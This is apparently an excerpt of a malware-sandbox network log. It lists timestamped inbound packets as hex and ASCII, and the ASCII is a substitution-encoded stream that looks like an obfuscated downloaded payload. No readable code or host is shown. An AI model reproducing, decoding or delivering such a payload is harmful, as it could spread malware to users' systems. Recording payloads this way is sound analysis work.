2021-10-29 15:55:26 UTC	1021	IN	Data Raw: 4f 20 4f 20 4d 58 20 4f 20 4d 58 20 4f 20 44 57 20 4f 20 6d 45 20 4f 20 57 45 20 4f 20 71 4f 4d 20 4f 20 57 4f 20 4f 20 71 71 4d 20 4f 20 58 4f 20 4f 20 6d 45 20 4f 20 4d 4f 20 4f 20 71 71 44 20 4f 20 45 44 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 57 71 20 4f 20 71 71 6d 20 4f 20 58 6d 20 4f 20 44 45 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 45 4d 20 4f 20 71 71 70 20 4f 20 71 71 58 20 4f 20 71 71 58 20 4f 20 6d 45 20 4f 20 71 4f 71 20 4f 20 71 71 4d 20 4f 20 57 44 20 4f 20 4d 58 20 4f 20 6d 45 20 4f 20 6d 4d 20 4f 20 44 58 20 4f 20 71 4f 71 20 4f 20 45 4f 20 4f 20 6d 45 20 4f 20 71 4a 4f 20 4f 20 4d 4d 20 4f 20 58 6d 20 4f 20 45 4f 20 4f 20 4d 45 20 4f 20 57 4a 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4f 57 20 4f 20 71 71 57 20 Data Ascii: O O MX O MX O DW O mE O WE O qOM O WO O qqM O XO O mE O MO O qqD O ED O mE O mE O Wq O qqm O Xm O DE O mE O mp O EM O qqp O qqX O qqX O mE O qOq O qqM O WD O MX O mE O mM O DX O qOq O EO O mE O qJO O MM O Xm O EO O ME O WJ O DW O DW O DW O DW O qOW O qqW
2021-10-29 15:55:26 UTC	1022	IN	Data Raw: 6d 45 20 4f 20 57 45 20 4f 20 44 4d 20 4f 20 44 45 20 4f 20 4d 58 20 4f 20 71 4f 4a 20 4f 20 6d 45 20 4f 20 58 4a 20 4f 20 44 57 20 4f 20 71 4f 4d 20 4f 20 57 71 20 4f 20 6d 45 20 4f 20 6d 58 20 4f 20 58 71 20 4f 20 45 6d 20 4f 20 71 71 44 20 4f 20 6d 45 20 4f 20 57 45 20 4f 20 44 4d 20 4f 20 44 4d 20 4f 20 4d 58 20 4f 20 71 71 58 20 4f 20 6d 45 20 4f 20 58 4a 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 71 4a 4a 20 4f 20 6d 45 20 4f 20 6d 58 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 71 71 57 20 4f 20 6d 45 20 4f 20 57 44 20 4f 20 57 44 20 4f 20 44 57 20 4f 20 4d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 58 4f 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 71 71 58 20 4f 20 6d 45 20 4f 20 6d 58 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 71 71 4d 20 4f 20 6d 45 20 4f 20 57 45 Data Ascii: mE O WE O DM O DE O MX O qOJ O mE O XJ O DW O qOM O Wq O mE O mX O Xq O Em O qqD O mE O WE O DM O DM O MX O qqX O mE O XJ O DW O Eq O qJJ O mE O mX O Xq O DD O qqW O mE O WD O WD O DW O ME O mE O mE O XO O DW O Eq O qqX O mE O mX O Xq O DD O qqM O mE O WE
2021-10-29 15:55:26 UTC	1023	IN	Data Raw: 71 71 58 20 4f 20 6d 45 20 4f 20 6d 4d 20 4f 20 45 58 20 4f 20 71 71 4a 20 4f 20 58 58 20 4f 20 6d 45 20 4f 20 57 6d 20 4f 20 44 58 20 4f 20 71 4f 57 20 4f 20 58 6d 20 4f 20 6d 45 20 4f 20 57 57 20 4f 20 57 45 20 4f 20 71 4f 71 20 4f 20 71 4f 4d 20 4f 20 58 4f 20 4f 20 6d 45 20 4f 20 58 45 20 4f 20 58 4f 20 4f 20 45 70 20 4f 20 57 57 20 4f 20 6d 45 20 4f 20 57 4f 20 4f 20 58 71 20 4f 20 58 4a 20 4f 20 71 71 58 20 4f 20 6d 45 20 4f 20 71 4a 4f 20 4f 20 4d 4d 20 4f 20 44 44 20 4f 20 44 58 20 4f 20 45 71 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 58 20 4f 20 57 4f 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 71 71 4d 20 4f 20 58 4d 20 4f 20 71 71 44 20 4f 20 58 4d 20 4f 20 45 44 20 4f 20 71 4f 4f 20 4f 20 58 4f 20 4f Data Ascii: qqX O mE O mM O EX O qqJ O XX O mE O Wm O DX O qOW O Xm O mE O WW O WE O qOq O qOM O XO O mE O XE O XO O Ep O WW O mE O WO O Xq O XJ O qqX O mE O qJO O MM O DD O DX O Eq O qOp O DW O DW O DW O DW O EX O WO O Xq O DD O qqM O XM O qqD O XM O ED O qOO O XO O
2021-10-29 15:55:26 UTC	1025	IN	Data Raw: 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 Data Ascii: O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW
2021-10-29 15:55:26 UTC	1026	IN	Data Raw: 4f 20 58 45 20 4f 20 71 4f 70 20 4f 20 45 57 20 4f 20 58 57 20 4f 20 4d 4f 20 4f 20 58 44 20 4f 20 45 45 20 4f 20 44 58 20 4f 20 71 4a 71 20 4f 20 57 4f 20 4f 20 45 58 20 4f 20 58 70 20 4f 20 44 57 20 4f 20 57 45 20 4f 20 45 4f 20 4f 20 71 4f 44 20 4f 20 58 57 20 4f 20 71 4f 70 20 4f 20 58 4f 20 4f 20 58 4a 20 4f 20 58 4d 20 4f 20 6d 4d 20 4f 20 45 70 20 4f 20 44 58 20 4f 20 6d 58 20 4f 20 58 45 20 4f 20 45 58 20 4f 20 58 70 20 4f 20 44 57 20 4f 20 57 45 20 4f 20 45 4f 20 4f 20 71 4f 44 20 4f 20 58 57 20 4f 20 71 4f 70 20 4f 20 58 4f 20 4f 20 58 4a 20 4f 20 58 4d 20 4f 20 6d 4d 20 4f 20 45 70 20 4f 20 44 58 20 4f 20 6d 58 20 4f 20 58 45 20 4f 20 45 58 20 4f 20 58 70 20 4f 20 44 57 20 4f 20 57 45 20 4f 20 45 4f 20 4f 20 71 4f 44 20 4f 20 58 57 20 4f 20 71 Data Ascii: O XE O qOp O EW O XW O MO O XD O EE O DX O qJq O WO O EX O Xp O DW O WE O EO O qOD O XW O qOp O XO O XJ O XM O mM O Ep O DX O mX O XE O EX O Xp O DW O WE O EO O qOD O XW O qOp O XO O XJ O XM O mM O Ep O DX O mX O XE O EX O Xp O DW O WE O EO O qOD O XW O q
2021-10-29 15:55:26 UTC	1027	IN	Data Raw: 20 4d 58 20 4f 20 57 4f 20 4f 20 58 4f 20 4f 20 6d 45 20 4f 20 57 44 20 4f 20 45 4a 20 4f 20 45 57 20 4f 20 57 4f 20 4f 20 58 4f 20 4f 20 6d 70 20 4f 20 57 6d 20 4f 20 71 71 58 20 4f 20 57 44 20 4f 20 71 4f 4a 20 4f 20 6d 45 20 4f 20 71 71 4d 20 4f 20 71 71 57 20 4f 20 71 4f 4a 20 4f 20 45 4d 20 4f 20 6d 45 20 4f 20 57 45 20 4f 20 57 71 20 4f 20 71 4f 57 20 4f 20 57 6d 20 4f 20 71 4f 4a 20 4f 20 6d 45 20 4f 20 71 4f 4f 20 4f 20 57 4a 20 4f 20 71 71 45 20 4f 20 71 71 4f 20 4f 20 6d 45 20 4f 20 57 71 20 4f 20 71 4f 71 20 4f 20 45 44 20 4f 20 71 71 4a 20 4f 20 6d 45 20 4f 20 57 45 20 4f 20 57 71 20 4f 20 71 4f 57 20 4f 20 57 6d 20 4f 20 71 4f 4a 20 4f 20 6d 45 20 4f 20 4d 4f 20 4f 20 57 71 20 4f 20 71 71 45 20 4f 20 71 4f 4a 20 4f 20 6d 45 20 4f 20 57 4a 20 Data Ascii: MX O WO O XO O mE O WD O EJ O EW O WO O XO O mp O Wm O qqX O WD O qOJ O mE O qqM O qqW O qOJ O EM O mE O WE O Wq O qOW O Wm O qOJ O mE O qOO O WJ O qqE O qqO O mE O Wq O qOq O ED O qqJ O mE O WE O Wq O qOW O Wm O qOJ O mE O MO O Wq O qqE O qOJ O mE O WJ
2021-10-29 15:55:26 UTC	1029	IN	Data Raw: 20 4f 20 57 6d 20 4f 20 6d 45 20 4f 20 57 44 20 4f 20 45 71 20 4f 20 57 45 20 4f 20 71 4f 44 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 45 71 20 4f 20 71 4a 4a 20 4f 20 57 45 20 4f 20 57 57 20 4f 20 6d 45 20 4f 20 71 71 45 20 4f 20 4d 4d 20 4f 20 45 44 20 4f 20 58 71 20 4f 20 6d 45 20 4f 20 57 57 20 4f 20 71 71 4f 20 4f 20 44 45 20 4f 20 6d 58 20 4f 20 58 4f 20 4f 20 6d 70 20 4f 20 57 70 20 4f 20 71 71 4d 20 4f 20 71 71 44 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 71 71 45 20 4f 20 4d 4d 20 4f 20 45 44 20 4f 20 58 71 20 4f 20 6d 45 20 4f 20 57 57 20 4f 20 71 71 4f 20 4f 20 44 45 20 4f 20 6d 58 20 4f 20 58 4f 20 4f 20 6d 70 20 4f 20 57 70 20 4f 20 71 71 4d 20 4f 20 71 71 44 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 71 71 4d 20 4f 20 4d 4d 20 4f 20 71 71 6d 20 4f 20 Data Ascii: O Wm O mE O WD O Eq O WE O qOD O mE O mE O Eq O qJJ O WE O WW O mE O qqE O MM O ED O Xq O mE O WW O qqO O DE O mX O XO O mp O Wp O qqM O qqD O DX O mE O qqE O MM O ED O Xq O mE O WW O qqO O DE O mX O XO O mp O Wp O qqM O qqD O DX O mE O qqM O MM O qqm O
2021-10-29 15:55:26 UTC	1030	IN	Data Raw: 20 4d 58 20 4f 20 57 57 20 4f 20 57 44 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 58 57 20 4f 20 71 4a 4a 20 4f 20 45 6d 20 4f 20 57 71 20 4f 20 6d 45 20 4f 20 6d 58 20 4f 20 45 45 20 4f 20 4d 45 20 4f 20 58 6d 20 4f 20 6d 45 20 4f 20 57 44 20 4f 20 57 57 20 4f 20 45 4f 20 4f 20 71 4f 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 45 4d 20 4f 20 71 4a 4f 20 4f 20 4d 4f 20 4f 20 58 4f 20 4f 20 6d 45 20 4f 20 71 4a 4a 20 4f 20 71 71 57 20 4f 20 58 45 20 4f 20 58 6d 20 4f 20 6d 45 20 4f 20 57 44 20 4f 20 57 57 20 4f 20 45 4f 20 4f 20 71 4f 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 45 4d 20 4f 20 71 4a 4f 20 4f 20 4d 4f 20 4f 20 58 4f 20 4f 20 6d 45 20 4f 20 71 4a 4a 20 4f 20 71 71 57 20 4f 20 58 45 20 4f 20 58 6d 20 4f 20 6d 45 20 4f 20 57 45 20 4f 20 44 58 20 4f 20 Data Ascii: MX O WW O WD O mE O mE O XW O qJJ O Em O Wq O mE O mX O EE O ME O Xm O mE O WD O WW O EO O qOE O mE O mE O EM O qJO O MO O XO O mE O qJJ O qqW O XE O Xm O mE O WD O WW O EO O qOE O mE O mE O EM O qJO O MO O XO O mE O qJJ O qqW O XE O Xm O mE O WE O DX O
2021-10-29 15:55:26 UTC	1031	IN	Data Raw: 20 57 4f 20 4f 20 6d 70 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 57 57 20 4f 20 45 58 20 4f 20 71 71 58 20 4f 20 71 4f 4a 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 71 4a 4a 20 4f 20 4d 58 20 4f 20 57 4a 20 4f 20 58 4f 20 4f 20 6d 45 20 4f 20 71 71 57 20 4f 20 57 4f 20 4f 20 6d 70 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 57 57 20 4f 20 45 58 20 4f 20 71 71 58 20 4f 20 71 4f 70 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 71 4a 4a 20 4f 20 4d 58 20 4f 20 57 71 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 71 6d 20 4f 20 57 4f 20 4f 20 71 71 44 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 57 57 20 4f 20 45 58 20 4f 20 71 71 6d 20 4f 20 71 4f 4a 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 6d 45 20 4f 20 58 58 20 4f 20 57 71 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 4f 4d 20 4f 20 71 4f Data Ascii: WO O mp O DX O mE O WW O EX O qqX O qOJ O mE O mp O qJJ O MX O WJ O XO O mE O qqW O WO O mp O DX O mE O WW O EX O qqX O qOp O mE O mp O qJJ O MX O Wq O mE O mE O qqm O WO O qqD O mE O mE O WW O EX O qqm O qOJ O mE O mp O mE O XX O Wq O mE O mE O qOM O qO
2021-10-29 15:55:26 UTC	1033	IN	Data Raw: 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 71 71 57 20 4f 20 58 71 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 71 6d 20 4f 20 44 4d 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 57 20 4f 20 71 4a 4f 20 4f 20 44 44 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 71 71 57 20 4f 20 58 71 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 71 6d 20 4f 20 44 4d 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 57 20 4f 20 71 4a 4f 20 4f 20 44 44 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 71 71 57 20 4f 20 58 71 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 71 6d 20 4f 20 44 4d 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 57 20 4f 20 71 4a 4f 20 4f 20 44 44 20 4f 20 44 57 20 Data Ascii: O DW O DW O DE O qqW O Xq O Xq O DW O DW O qqm O DM O DM O DW O DW O EW O qJO O DD O DW O DW O DE O qqW O Xq O Xq O DW O DW O qqm O DM O DM O DW O DW O EW O qJO O DD O DW O DW O DE O qqW O Xq O Xq O DW O DW O qqm O DM O DM O DW O DW O EW O qJO O DD O DW
2021-10-29 15:55:26 UTC	1034	IN	Data Raw: 20 4f 20 57 71 20 4f 20 71 4f 71 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4f 6d 20 4f 20 57 71 20 4f 20 71 4f 4f 20 4f 20 57 71 20 4f 20 71 4f 4f 20 4f 20 57 71 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 45 4a 20 4f 20 71 4f 4f 20 4f 20 57 71 20 4f 20 71 4f 4f 20 4f 20 57 71 20 4f 20 71 4f 71 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 71 4f 4a 20 4f 20 57 71 20 4f 20 71 4f 4f 20 4f 20 57 71 20 4f 20 71 4f 4f 20 4f 20 57 4a 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4f 6d 20 4f 20 6d 45 20 4f 20 57 45 20 4f 20 57 71 20 4f 20 71 4f 4f 20 4f 20 57 71 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 44 57 20 Data Ascii: O Wq O qOq O DW O DW O DW O DW O DW O qOm O Wq O qOO O Wq O qOO O Wq O qOp O DW O DW O DW O DE O EJ O qOO O Wq O qOO O Wq O qOq O DW O DW O DW O DW O Ep O qOJ O Wq O qOO O Wq O qOO O WJ O DW O DW O DW O DW O qOm O mE O WE O Wq O qOO O Wq O qOp O DW O DW
2021-10-29 15:55:26 UTC	1035	IN	Data Raw: 44 57 20 4f 20 44 4d 20 4f 20 71 4f 45 20 4f 20 44 57 20 4f 20 71 4f 4f 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 4f 58 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 6d 58 20 4f 20 44 57 20 4f 20 4d 4d 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 45 6d 20 4f 20 44 57 20 4f 20 44 4d 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 71 4f 4f 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 4a 71 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 45 57 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 58 6d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 45 6d 20 4f 20 71 71 4f 20 4f 20 44 45 20 4f 20 58 4d 20 4f 20 44 57 20 4f 20 58 57 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 4a 71 20 4f 20 44 57 20 4f 20 Data Ascii: DW O DM O qOE O DW O qOO O DW O DD O qOX O DW O Eq O mX O DW O MM O qqM O DW O Em O DW O DM O EE O DW O qOO O DW O DD O qJq O DW O Eq O qqM O DW O EW O qqM O DD O Xm O DW O DW O DW O DW O DW O DW O DD O Em O qqO O DE O XM O DW O XW O DW O DD O qJq O DW O
2021-10-29 15:55:26 UTC	1037	IN	Data Raw: 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 45 4a 20 4f 20 71 71 4f 20 4f 20 45 4f 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 4d 4f 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 71 71 57 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 58 57 20 4f 20 44 57 20 4f 20 58 4d 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 6d 58 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 6d 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20 44 44 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 4d 58 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 6d 20 4f 20 44 57 20 4f 20 44 4d 20 4f 20 45 45 20 Data Ascii: O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DD O EJ O qqO O EO O EE O DW O MO O Xq O DD O qqW O DW O Eq O XW O DW O XM O qqM O DD O mX O DW O DE O DW O DW O Em O qOp O DD O DD O DW O Eq O qqM O DW O MX O DW O DW O Em O DW O DM O EE
2021-10-29 15:55:26 UTC	1038	IN	Data Raw: 20 58 71 20 4f 20 44 57 20 4f 20 4d 4f 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 71 58 20 4f 20 44 57 20 4f 20 44 4d 20 4f 20 58 57 20 4f 20 44 57 20 4f 20 71 4f 4f 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20 71 4f 58 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 57 4a 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 58 70 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 57 44 20 4f 20 44 57 20 4f 20 71 4f 4f 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 71 4a 4a 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 45 71 20 4f 20 71 71 4f 20 4f 20 44 45 20 4f 20 58 4d 20 4f 20 44 Data Ascii: Xq O DW O MO O DW O DW O qqX O DW O DM O XW O DW O qOO O qOp O DD O qOX O DW O Eq O WJ O DW O Ep O DW O DD O Xp O DW O Eq O WD O DW O qOO O qqM O DD O qJJ O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DD O Eq O qqO O DE O XM O D
2021-10-29 15:55:26 UTC	1039	IN	Data Raw: 71 4f 4f 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 6d 58 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 57 44 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 58 6d 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 71 4f 45 20 4f 20 44 57 20 4f 20 71 4f 71 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20 71 4f 58 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 71 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 71 71 58 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 71 4f 4f 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 71 71 44 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 57 4a 20 4f 20 44 57 20 4f 20 4d 4d 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 45 6d 20 4f 20 44 57 20 4f 20 44 4d 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 71 4f 4f 20 Data Ascii: qOO O Xq O DD O mX O DW O Eq O WD O DW O Ep O DW O DD O Xm O DW O Eq O qOE O DW O qOq O qOp O DD O qOX O DW O DE O DW O DW O Xq O qqM O DD O qqX O DW O Eq O qqM O DW O qOO O Xq O DD O qqD O DW O Eq O WJ O DW O MM O qqM O DW O Em O DW O DM O EE O DW O qOO
2021-10-29 15:55:26 UTC	1041	IN	Data Raw: 57 20 4f 20 4d 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 71 20 4f 20 57 70 20 4f 20 71 71 4d 20 4f 20 71 4f 4d 20 4f 20 44 57 20 4f 20 44 4d 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 58 4d 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20 71 71 58 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 58 57 20 4f 20 44 57 20 4f 20 71 4f 4f 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 45 4f 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 4d 58 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 58 57 20 4f 20 44 57 20 4f 20 4d 4d 20 4f Data Ascii: W O MM O DW O DW O DW O DW O Ep O DW O DW O Xq O Wp O qqM O qOM O DW O DM O DM O DW O XM O qOp O DD O qqX O DW O EJ O XW O DW O qOO O DW O DW O DW O DW O DW O DW O DW O DW O DW O DE O Xq O DW O EO O DW O DW O MX O qqM O DD O qqM O DW O EJ O XW O DW O MM O
2021-10-29 15:55:26 UTC	1042	IN	Data Raw: 45 70 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 44 44 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 4d 58 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 44 4d 20 4f 20 71 4f 45 20 4f 20 44 57 20 4f 20 71 4f 4f 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 4f 58 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 6d 58 20 4f 20 44 57 20 4f 20 4d 4d 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 70 20 4f 20 71 71 4a 20 4f 20 71 4a 4f 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 45 4f 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 58 6d 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 57 20 4f 20 71 4f Data Ascii: Ep O DW O DD O DD O DW O Eq O qqM O DW O MX O DW O DW O qOp O DW O DM O qOE O DW O qOO O DW O DD O qOX O DW O Eq O mX O DW O MM O qqM O DW O DW O DW O DW O DW O DW O Xp O qqJ O qJO O Ep O DW O EO O Xq O DW O Xm O Xq O DD O EE O DW O DE O DW O DW O XW O qO
2021-10-29 15:55:26 UTC	1043	IN	Data Raw: 20 44 44 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 4d 58 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 58 57 20 4f 20 44 57 20 4f 20 4d 4d 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20 6d 58 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 71 4f 45 20 4f 20 44 57 20 4f 20 4d 4f 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 71 4a 4a 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4f 45 20 4f 20 44 57 20 4f 20 58 71 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 71 71 57 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 45 57 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 45 4f 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 57 4a 20 4f 20 44 57 20 4f 20 71 4f 4f 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 Data Ascii: DD O Xq O DW O EJ O Ep O DW O MX O qqM O DD O qqM O DW O Eq O XW O DW O MM O qOp O DD O mX O DW O Eq O qOE O DW O MO O Xq O DD O qJJ O DW O DW O qOE O DW O Xq O Xq O DD O qqW O DW O EJ O Xq O DW O EW O qqM O DD O EO O DW O Eq O WJ O DW O qOO O DW O DD O
2021-10-29 15:55:26 UTC	1045	IN	Data Raw: 20 45 4d 20 4f 20 71 4f 45 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 44 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 71 4f 70 20 4f 20 58 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 4a 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 44 57 20 4f 20 58 4f 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 44 58 20 4f 20 44 57 20 4f 20 44 58 20 4f 20 71 71 71 20 4f 20 44 57 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 4f 70 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f Data Ascii: EM O qOE O DX O mE O mE O mp O DE O DW O DW O DW O DW O DW O DW O DW O DW O DW O Ep O DW O Ep O qOp O XW O DW O DW O DW O DW O DW O DW O XJ O Xq O DW O EJ O DW O XO O qOp O DW O DX O DW O DX O qqq O DW O mE O mE O mE O qOp O Xq O DW O DW O DW O DW O DW O
